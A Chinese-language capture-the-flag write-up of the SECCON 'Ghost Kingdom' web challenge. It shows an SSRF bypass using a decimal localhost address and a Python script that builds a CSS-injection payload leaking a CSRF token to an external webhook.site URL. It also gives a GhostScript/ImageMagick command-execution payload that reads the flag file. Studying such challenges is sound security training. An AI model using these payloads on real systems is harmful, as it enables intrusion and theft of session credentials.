内容简介:进入网站后注册用户,登录界面如下:登录的请求为GET型。http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login
题目 信息
进入网站后注册用户,登录界面如下:
登录的请求为GET型。
http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login
登陆后主界面如下:
-
Message to admin,用于给管理员发送信息,包含Normal和Emergency模式,普通模式下css参数为空,标签无颜色。
http://ghostkingdom.pwn.seccon.jp/?css=&msg=1111&action=msgadm2
在紧急模式下,URL会增加css参数的值,存在CSS注入,并且为base64编码,标签添加CSS样式,标签变红。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=1111&action=msgadm2
提交表单页面的的csrf令牌和用户的cookie相同。
-
Take a screenshot,根据链接进行截屏操作。
-
Upload image,只有本地登录的用户才能使用此功能。
解题思路
首先本地登录账户,激活Upload image,再进一步操作。
Take a screenshot处存在SSRF漏洞,我们可以发送登录请:
http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login
并且我们发现能够登陆成功,尝试使用本地登录,发现进行了过滤。
http://127.0.0.1/?user=rai4over&pass=test123&action=login
这里我们直接转化IP地址为10进制,成功绕过过滤,激活Upload image功能。
截屏处登陆后,本地账户会话状态会在截屏功能一直维持,我们可以带着状态访问其他页面。
http://2130706433/?user=rai4over&pass=test123&action=login
想办法获得这个登陆这个本地账户,也就是获得本地账户的cookie,我们就能轻松使用Upload image功能。
根据csrf令牌等于cookie的条件,并且该页面css参数存在css注入,我们可以在发送信息页面窃取csrf令牌,获得cookie。
脚本如下:
import base64 import string import urllib string_list = string.ascii_lowercase + string.digits css = "" for x in string_list: css += """input[name="csrf"][value^="9bbc0ec46162afe2aaf796{s1}"] {{ background: url(https://webhook.site/6aca0f2a-f21b-4f56-9c12-88f72c4e238a/9bbc0ec46162afe2aaf796{s2}); }}""".format(s1=x, s2=x) css = urllib.quote(base64.b64encode(css)) URL = "http://2130706433/?msg=11&action=msgadm2&css=" + css print(URL)
最终获得cookie为9bbc0ec46162afe2aaf796
成功登录本地账户
进入图片上传模块,上传图片后发现后有转换图片格式的功能
ImageMagick命令执行漏洞,设置上传内容,然后转换图片格式即可执行命令。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
Flag为SECCON{CSSinjection+GhostScript/ImageMagickRCE}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。